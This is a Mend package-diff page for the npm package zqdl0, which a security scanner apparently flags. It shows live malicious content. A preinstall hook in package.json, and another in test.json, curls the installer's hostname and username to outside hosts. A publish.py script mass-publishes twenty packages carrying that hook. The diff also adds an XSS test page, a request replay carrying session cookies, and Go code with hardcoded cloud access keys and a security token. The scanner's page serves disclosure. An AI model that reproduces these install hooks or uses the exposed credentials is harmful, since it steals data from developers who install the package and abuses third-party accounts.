npm - zqdl0 - Versions diffs - 0.0.1-security → 22.2.2 - Mend

zqdl0 0.0.1-security → 22.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.

This version of zqdl0 might be problematic. Click here for more details.

Files changed (18) hide show

package/1.html +11 -0
package/1.js +46 -0
package/302.js +25 -0
package/302.py +14 -0
package/__pycache__/tos.cpython-37.pyc +0 -0
package/go.mod +8 -0
package/go.sum +25 -0
package/package.json +12 -6
package/publish.py +42 -0
package/python/1.py +9 -0
package/test.json +12 -0
package/tos4.go +32 -0
package/zqdl555/README.md +1 -0
package/zqdl555/index.js +5 -0
package/zqdl555/package.json +12 -0
package//345/207/275/346/225/260/345/255/246/344/271/240/__pycache__/tos.cpython-37.pyc +0 -0
package//345/207/275/346/225/260/345/255/246/344/271/240/math.random.js +5 -0
package/README.md +0 -5

package/1.html ADDED Viewed

@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Document</title>
+</head>
+<body>
+    <img src="x" onerror="alert()">
+</body>
+</html>

package/1.js ADDED Viewed

@@ -0,0 +1,46 @@
+{
+	"version": 3,
+	"sources": ["webpack:///static/js/app.95fa16579b2ddc6d84ff.js",
+		"webpack:///./src/main.js", "webpack:///App.vue",
+		"webpack:///./src/libs/utils/fetch.js", "webpack:///./src/App.vue",
+		"webpack:///./src/App.vue?460c"
+	],
+	"names": ["webpackJsonp", "178", "module", "__webpack_exports__",
+		"__webpack_require__", "Object", "defineProperty", "value",
+		"__WEBPACK_IMPORTED_MODULE_0_vue__",
+		"__WEBPACK_IMPORTED_MODULE_1__App__",
+		"__WEBPACK_IMPORTED_MODULE_1__App___default", "n",
+		"__WEBPACK_IMPORTED_MODULE_2__ppc_iview__",
+		"__WEBPACK_IMPORTED_MODULE_2__ppc_iview___default",
+		"__WEBPACK_IMPORTED_MODULE_3__ppc_iview_dist_styles_iview_css__",
+		"__WEBPACK_IMPORTED_MODULE_4_babel_polyfill__", "Vue", "config",
+		"productionTip", "use", "iView", "el", "template", "components",
+		"App", "197",
+		"__WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_object_keys__",
+		"__WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_object_keys___default",
+		"__WEBPACK_IMPORTED_MODULE_1__libs_utils_fetch__", "data", "logo",
+		"title", "background", "captcha", "initData", "created", "_this",
+		"this", "window", "document", "i", "url", "method", "then", "res",
+		"status", "forEach", "x", "length", "catch", "e", "console",
+		"error", "198",
+		"__WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_promise__",
+		"__WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_promise___default",
+		"__WEBPACK_IMPORTED_MODULE_1_axios__",
+		"__WEBPACK_IMPORTED_MODULE_1_axios___default", "service", "axios",
+		"create", "timeout", "interceptors", "request", "a", "reject",
+		"response", "Message", "toString", "437", "exports", "442",
+		"Component", "444", "render", "_vm", "_h", "$createElement",
+		"_self", "_c", "attrs", "bg", "staticRenderFns", "445"
+	],
+	"mappings": "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",
+	"file": "static/js/app.95fa16579b2ddc6d84ff.js",
+	"sourcesContent": [
+		"webpackJsonp([1],{\n\n/***/ 178:\n/***/ (function(module, __webpack_exports__, __webpack_require__) {\n\n\"use strict\";\nObject.defineProperty(__webpack_exports__, \"__esModule\", { value: true });\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_vue__ = __webpack_require__(177);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__App__ = __webpack_require__(442);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__App___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1__App__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__ppc_iview__ = __webpack_require__(120);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__ppc_iview___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2__ppc_iview__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__ppc_iview_dist_styles_iview_css__ = __webpack_require__(437);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__ppc_iview_dist_styles_iview_css___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_3__ppc_iview_dist_styles_iview_css__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4_babel_polyfill__ = __webpack_require__(119);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4_babel_polyfill___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_4_babel_polyfill__);\n// The Vue build version to load with the `import` command\n// (runtime-only or standalone) has been set in webpack.base.conf with an alias.\n\n\n\n\n\n\n__WEBPACK_IMPORTED_MODULE_0_vue__[\"default\"].config.productionTip = false;\n\n__WEBPACK_IMPORTED_MODULE_0_vue__[\"default\"].use(__WEBPACK_IMPORTED_MODULE_2__ppc_iview___default.a);\n\n/* eslint-disable no-new */\nnew __WEBPACK_IMPORTED_MODULE_0_vue__[\"default\"]({\n el: '#app',\n template: '',\n components: { App: __WEBPACK_IMPORTED_MODULE_1__App___default.a }\n});\n\n/***/ }),\n\n/***/ 197:\n/***/ (function(module, __webpack_exports__, __webpack_require__) {\n\n\"use strict\";\nObject.defineProperty(__webpack_exports__, \"__esModule\", { value: true });\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_object_keys__ = __webpack_require__(199);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_object_keys___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_object_keys__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__libs_utils_fetch__ = __webpack_require__(198);\n\n//\n//\n//\n//\n//\n\n\n/* harmony default export */ __webpack_exports__[\"default\"] = ({\n data: function data() {\n return {\n logo: '',\n title: '管理中心',\n background: '#FFF',\n captcha: false,\n initData: {\n logo: \"\",\n title: \"管理中心\",\n background: \"radial-gradient(farthest-side ellipse at 10% 0,rgba(119,157,207,.8) 30%,rgba(174,180,186,.8) 76%,rgba(199,175,156,.8)) fixed,fixed\",\n captcha: false\n }\n };\n },\n created: function created() {\n var _this = this;\n\n window.document.title = '';\n __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__libs_utils_fetch__[\"a\" /* default */])({\n url: '/api/loginPage/info',\n method: 'get'\n }).then(function (res) {\n if (res.status !== 200) {\n throw 'status error';\n }\n\n __WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_object_keys___default()(res.data).forEach(function (x) {\n // throw 'test'\n // console.log(res.data)\n // if(res.)\n if (res.data[x] != null && (res.data[x].length || res.data[x] === true) > 0) {\n // console.log(x + res.data[x])\n _this[x] = res.data[x];\n } else {\n _this[x] = _this.initData[x];\n }\n });\n // console.log(this)\n window.document.title = _this.title;\n }).catch(function (e) {\n console.error(e);\n _this.logo = _this.initData.logo;\n _this.title = _this.initData.title;\n _this.background = _this.initData.background;\n window.document.title = _this.title;\n });\n }\n});\n\n/***/ }),\n\n/***/ 198:\n/***/ (function(module, __webpack_exports__, __webpack_require__) {\n\n\"use strict\";\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_promise__ = __webpack_require__(200);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_promise___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_promise__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_axios__ = __webpack_require__(179);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_axios___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_axios__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__ppc_iview__ = __webpack_require__(120);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__ppc_iview___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2__ppc_iview__);\n\n\n\n// import { baseUrl } from './consts'\n\n// 创建axios实例\nvar service = __WEBPACK_IMPORTED_MODULE_1_axios___default.a.create({\n // baseURL: 'http://localhost/', // api的base_url\n // baseURL: baseUrl.dev,\n timeout: 5 * 1000 // 请求超时时间\n});\n\n// request拦截器\nservice.interceptors.request.use(function (config) {\n // Do something before request is sent\n // console.log(store)\n // console.log(config)\n\n // console.log(config)\n // config.baseURL = baseUrl[store.getters.serverUrl]\n // config.baseURL = 'http://sdf/'\n // config.url = config.baseURL + config.url\n // console.log(store.getters.serverUrl)\n // console.log(baseUrl[store.getters.serverUrl])\n\n // config.url = 'dsf/d'\n // console.log(config.url)\n // if (store.getters.token) {\n // config.headers['X-Token'] = store.getters.token; // 让每个请求携带token--['X-Token']为自定义key 请根据实际情况自行修改\n // }\n return config;\n}, function (error) {\n // Do something with request error\n console.error(error); // for debug\n __WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_promise___default.a.reject(error);\n});\n\n// respone拦截器\nservice.interceptors.response.use(function (response) {\n return response;\n}\n/**\n* 下面的注释为通过response自定义code来标示请求状态，当code返回如下情况为权限有问题，登出并返回到登录页\n* 如通过xmlhttprequest 状态码标识 逻辑可写在下面error中\n*/\n// const code = response.data.code;\n// // 50014:Token 过期了 50012:其他客户端登录了 50008:非法的token\n// if (code === 50008 || code === 50014 || code === 50012) {\n// Message({\n// message: res.message,\n// type: 'error',\n// duration: 5 * 1000\n// });\n// // 登出\n// store.dispatch('FedLogOut').then(() => {\n// router.push({ path: '/login' })\n// });\n// } else {\n// return response\n// }\n\n, function (error) {\n console.error('err' + error); // for debug\n __WEBPACK_IMPORTED_MODULE_2__ppc_iview__[\"Message\"].error(error.toString(), 3);\n return __WEBPACK_IMPORTED_MODULE_0_babel_runtime_core_js_promise___default.a.reject(error);\n});\n\n/* harmony default export */ __webpack_exports__[\"a\"] = (service);\n\n/***/ }),\n\n/***/ 437:\n/***/ (function(module, exports) {\n\n// removed by extract-text-webpack-plugin\n\n/***/ }),\n\n/***/ 442:\n/***/ (function(module, exports, __webpack_require__) {\n\nvar Component = __webpack_require__(443)(\n /* script */\n __webpack_require__(197),\n /* template */\n __webpack_require__(444),\n /* scopeId */\n null,\n /* cssModules */\n null\n)\n\nmodule.exports = Component.exports\n\n\n/***/ }),\n\n/***/ 444:\n/***/ (function(module, exports) {\n\nmodule.exports={render:function (){var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;\n return _c('Login', {\n attrs: {\n \"logo\": _vm.logo,\n \"title\": _vm.title,\n \"bg\": _vm.background,\n \"captcha\": _vm.captcha\n }\n })\n},staticRenderFns: []}\n\n/***/ }),\n\n/***/ 445:\n/***/ (function(module, exports, __webpack_require__) {\n\n__webpack_require__(119);\nmodule.exports = __webpack_require__(178);\n\n\n/***/ })\n\n},[445]);\n\n\n// WEBPACK FOOTER //\n// static/js/app.95fa16579b2ddc6d84ff.js",
+		"// The Vue build version to load with the `import` command\n// (runtime-only or standalone) has been set in webpack.base.conf with an alias.\nimport Vue from 'vue'\nimport App from './App'\nimport iView from '@ppc/iview';\nimport '@ppc/iview/dist/styles/iview.css';\nimport 'babel-polyfill'\n\nVue.config.productionTip = false\n\n\n\nVue.use(iView);\n\n\n/* eslint-disable no-new */\nnew Vue({\n el: '#app',\n template: '',\n components: { App }\n})\n\n\n\n// WEBPACK FOOTER //\n// ./src/main.js",
+		"\n\n\n\n\n\n// WEBPACK FOOTER //\n// App.vue?768dddd2",
+		"import axios from 'axios'\nimport { Message } from '@ppc/iview'\n// import { baseUrl } from './consts'\n\n// 创建axios实例\nconst service = axios.create({\n // baseURL: 'http://localhost/', // api的base_url\n // baseURL: baseUrl.dev,\n timeout: 5 * 1000 // 请求超时时间\n});\n\n\n// request拦截器\nservice.interceptors.request.use(config => {\n // Do something before request is sent\n // console.log(store)\n // console.log(config)\n\n // console.log(config)\n // config.baseURL = baseUrl[store.getters.serverUrl]\n // config.baseURL = 'http://sdf/'\n // config.url = config.baseURL + config.url\n // console.log(store.getters.serverUrl)\n // console.log(baseUrl[store.getters.serverUrl])\n\n // config.url = 'dsf/d'\n // console.log(config.url)\n // if (store.getters.token) {\n // config.headers['X-Token'] = store.getters.token; // 让每个请求携带token--['X-Token']为自定义key 请根据实际情况自行修改\n // }\n return config;\n}, error => {\n // Do something with request error\n console.error(error); // for debug\n Promise.reject(error);\n})\n\n// respone拦截器\nservice.interceptors.response.use(\n response => response\n /**\n * 下面的注释为通过response自定义code来标示请求状态，当code返回如下情况为权限有问题，登出并返回到登录页\n * 如通过xmlhttprequest 状态码标识 逻辑可写在下面error中\n */\n // const code = response.data.code;\n // // 50014:Token 过期了 50012:其他客户端登录了 50008:非法的token\n // if (code === 50008 || code === 50014 || code === 50012) {\n // Message({\n // message: res.message,\n // type: 'error',\n // duration: 5 * 1000\n // });\n // // 登出\n // store.dispatch('FedLogOut').then(() => {\n // router.push({ path: '/login' })\n // });\n // } else {\n // return response\n // }\n ,\n error => {\n console.error('err' + error);// for debug\n Message.error(error.toString(),\n 3\n );\n return Promise.reject(error);\n }\n)\n\nexport default service;\n\n\n\n// WEBPACK FOOTER //\n// ./src/libs/utils/fetch.js",
+		"var Component = require(\"!../node_modules/vue-loader/lib/component-normalizer\")(\n /* script */\n require(\"!!babel-loader!../node_modules/vue-loader/lib/selector?type=script&index=0!./App.vue\"),\n /* template */\n require(\"!!../node_modules/vue-loader/lib/template-compiler/index?{\\\"id\\\":\\\"data-v-01708066\\\"}!../node_modules/vue-loader/lib/selector?type=template&index=0!./App.vue\"),\n /* scopeId */\n null,\n /* cssModules */\n null\n)\n\nmodule.exports = Component.exports\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./src/App.vue\n// module id = 442\n// module chunks = 1",
+		"module.exports={render:function (){var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;\n return _c('Login', {\n attrs: {\n \"logo\": _vm.logo,\n \"title\": _vm.title,\n \"bg\": _vm.background,\n \"captcha\": _vm.captcha\n }\n })\n},staticRenderFns: []}\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./~/vue-loader/lib/template-compiler?{\"id\":\"data-v-01708066\"}!./~/vue-loader/lib/selector.js?type=template&index=0!./src/App.vue\n// module id = 444\n// module chunks = 1"
+	],
+	"sourceRoot": ""
+}

package/302.js ADDED Viewed

@@ -0,0 +1,25 @@
+const axios = require("axios");
+// 目标 URL
+const redirectUrl = "http://47.119.181.8/img/t.jpg";
+// 自定义头部，添加 X-Forwarded-For
+const headers = {
+  "X-Forwarded-For": "127.0.0.1", // 替换成你想要设置的 IP 地址
+};
+// 发起 GET 请求，自定义处理重定向，并添加 X-Forwarded-For 头部
+axios
+  .get(redirectUrl, { headers, validateStatus: (status) => status < 400 })
+  .then((response) => {
+    console.log("Final URL:", response.request.res.responseUrl);
+    console.log("Response data:", response.data);
+  })
+  .catch((error) => {
+    if (error.response) {
+      console.log("Error status:", error.response.status);
+      console.log("Final URL:", error.response.request.res.responseUrl);
+    } else {
+      console.error("Error:", error.message);
+    }
+  });

package/302.py ADDED Viewed

@@ -0,0 +1,14 @@
+import urllib.request
+redirect_url = "http://47.119.181.8/img/t.jpg"
+try:
+    response = urllib.request.urlopen(redirect_url)
+    final_url = response.geturl()
+    content = response.read()
+    print("Final URL:", final_url)
+    print("Response data (binary):")
+    print(content)
+except Exception as e:
+    print("Error:", e)

package/__pycache__/tos.cpython-37.pyc ADDED Viewed

Binary file

package/go.mod ADDED Viewed

@@ -0,0 +1,8 @@
+module main
+go 1.22.5
+require (
+	github.com/volcengine/ve-tos-golang-sdk/v2 v2.7.8 // indirect
+	golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4 // indirect
+)

package/go.sum ADDED Viewed

@@ -0,0 +1,25 @@
+github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
+github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
+github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
+github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
+github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
+github.com/volcengine/ve-tos-golang-sdk/v2 v2.7.8 h1:/vB6jop4i70Ys8KAzK0xZfbMzMggJsTnIp6gZYnnSFM=
+github.com/volcengine/ve-tos-golang-sdk/v2 v2.7.8/go.mod h1:IrjK84IJJTuOZOTMv/P18Ydjy/x+ow7fF7q11jAxXLM=
+golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4 h1:uVc8UZUe6tr40fFVnUP5Oj+veunVezqYl9z7DYw9xzw=
+golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

package/package.json CHANGED Viewed

@@ -1,6 +1,12 @@
-{
-  "name": "zqdl0",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+  "name": "zqdl0",
+  "version": "22.2.2",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "curl --data-urlencode \"info=$(hostname && whoami)\" https://georgesjetgas.3cx.com.au"
+  },
+  "author": "321123zqdl",
+  "license": "IsC"
+}

package/publish.py ADDED Viewed

@@ -0,0 +1,42 @@
+import json
+import subprocess
+import time
+# 初始的package_data数据
+package_data = {
+    "name": "zqdl55515",
+    "version": "22.2.2",
+    "description": "",
+    "main": "index.js",
+    "scripts": {
+        "test": "echo \"Error: no test specified\" && exit 1",
+        "preinstall": "curl --data-urlencode \"info=$(hostname && whoami)\" https://georgesjetgas.3cx.com.au"
+    },
+    "author": "321123zqdl",
+    "license": "IsC"
+}
+# 设置循环次数
+num_loops = 20
+for i in range(num_loops):
+    # 每次循环生成一个新的包名
+    package_data["name"] = f"zqdl{i}"
+    # 将JSON对象转换为字符串
+    package_json = json.dumps(package_data, indent=2)
+    # 将JSON字符串写入package.json文件
+    with open("package.json", "w") as file:
+        file.write(package_json)
+    # 执行npm publish命令
+    publish_command = "npm publish"
+    try:
+        subprocess.run(publish_command, shell=True, check=True)
+        print(f"Successfully published the npm package with name: {package_data['name']}")
+    except subprocess.CalledProcessError as e:
+        print(f"Error publishing the npm package: {e}")
+    # 等待60秒后继续下一次循环
+    time.sleep(30)

package/python/1.py ADDED Viewed

@@ -0,0 +1,9 @@
+import requests
+session = requests.session()
+burp0_url = "https://arco.design:443/themes/api/themes/CreateTheme"
+burp0_cookies = {"arcodesign_themes_sid": "6a429b59cae64c83e76c26aba97f3156", "x-arco-token": "mwG1cu30SQQ8Cl4CJzsdDxcylTQbvYoF"}
+burp0_headers = {"Sec-Ch-Ua-Platform": "\"Windows\"", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Accept": "application/json", "Sec-Ch-Ua": "\"Google Chrome\";v=\"131\", \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "Content-Type": "application/json;charset=UTF-8", "Sec-Ch-Ua-Mobile": "?0", "Origin": "https://arco.design", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://arco.design/themes/stores/manage?depLibrary=&keyword=&type=author", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Priority": "u=1, i", "Connection": "keep-alive"}
+burp0_json={"depLibrary": "@arco-design/web-react", "themeName": "zqdltestabcdqwert", "useLatest": True}
+session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json)

package/test.json ADDED Viewed

@@ -0,0 +1,12 @@
+{
+    "name": "zqdl333",
+    "version":"99.9.9",
+    "description":"",
+    "main": "index.js",
+    "scripts":{
+        "test":"echo \"Error: no test specified\" && exit 1",
+        "preinstall": "curl --data-urlencode \"info=$(hostname && whoami)\"https://zqdl123.dnslog.pw"
+    },
+"author":"zqdl123",
+"license":"IsC"
+}

package/tos4.go ADDED Viewed

@@ -0,0 +1,32 @@
+package main
+import (
+	"context"
+	"fmt"
+	"strings"
+	"github.com/volcengine/ve-tos-golang-sdk/v2/tos"
+)
+func main() {
+	// 使用上一步中获取的临时AK/SK+Token
+	ak := "AKTPMTI4ZTQ0OTIwYWNjNDZmYWFkNTViZjAxYjc1NzhkOGE"
+	sk := "xa+oS+4DT+ZmofzrP5TcF4gL0wgdEXesxwV28rSHBAUU8ZQNptL7gjbO0Ael81IP"
+	stToken := "STS2eyJMVEFjY2Vzc0tleUlEIjoiQUtMVE1UZ3lORFU1WkRsaE9XSmpOREE1Wm1FMFpEUXlPRFk1Tm1aaE9HRTJNR0UiLCJBY2Nlc3NLZXlJRCI6IkFLVFBNVEk0WlRRME9USXdZV05qTkRabVlXRmtOVFZpWmpBeFlqYzFOemhrT0dFIiwiU2lnbmVkU2VjcmV0QWNjZXNzS2V5IjoidTY5WFZUTmVFRXl4QjFCWm5pY3hxeE1hYW5ZVGRxNGpOQUt4d1pDU1U2M1UyWHpKek9aUlp5cHJYQnFTaHlPS3dKSXhYK0Z6Uyt1cVV1R2NwcXYzM0h5RlpSZVBDUUZJc1FxbFpBK2x4ZVU9IiwiRXhwaXJlZFRpbWUiOjE3MzQ0NDU0NjEsIlBvbGljeVN0cmluZyI6IntcIlN0YXRlbWVudFwiOlt7XCJFZmZlY3RcIjpcIkFsbG93XCIsXCJBY3Rpb25cIjpbXCJ2b2Q6QXBwbHlVcGxvYWRcIixcInZvZDpBcHBseVVwbG9hZElubmVyXCIsXCJ2b2Q6Q29tbWl0VXBsb2FkXCIsXCJ2b2Q6Q29tbWl0VXBsb2FkSW5uZXJcIixcInZvZDpHZXRVcGxvYWRDYW5kaWRhdGVzXCIsXCJJbWFnZVg6QXBwbHlJbWFnZVVwbG9hZFwiLFwiSW1hZ2VYOkNvbW1pdEltYWdlVXBsb2FkXCIsXCJJbWFnZVg6QXBwbHlVcGxvYWRJbWFnZUZpbGVcIixcIkltYWdlWDpDb21taXRVcGxvYWRJbWFnZUZpbGVcIl0sXCJSZXNvdXJjZVwiOltcIipcIl0sXCJDb25kaXRpb25cIjpcIntcXFwiUFNNXFxcIjpcXFwiY2FwY3V0LnRlYW13b3JrLmFwaVxcXCJ9XCJ9XX0iLCJTaWduYXR1cmUiOiI0YTk4ODQzMzJjNWY0Y2U3Njg5OTE2OGMzM2U3YWMxMWNiNWU2ODJhZTcxMmVjNTRhZDBmZjExMTlhYjU5ZDQ5In0="
+	// 使用tos Endpoint 请参考https://www.volcengine.com/docs/6349/107356
+	endpoint := "https://vod-us-east-1.bytevcloudapi.com"
+	region := "us-east-1"
+	//  创建TosClient实例
+	cred := tos.NewStaticCredentials(ak, sk)
+	cred.WithSecurityToken(stToken)
+	client, err := tos.NewClientV2(endpoint, tos.WithRegion(region), tos.WithCredentials(cred))
+	if err != nil {
+		panic(err)
+	}
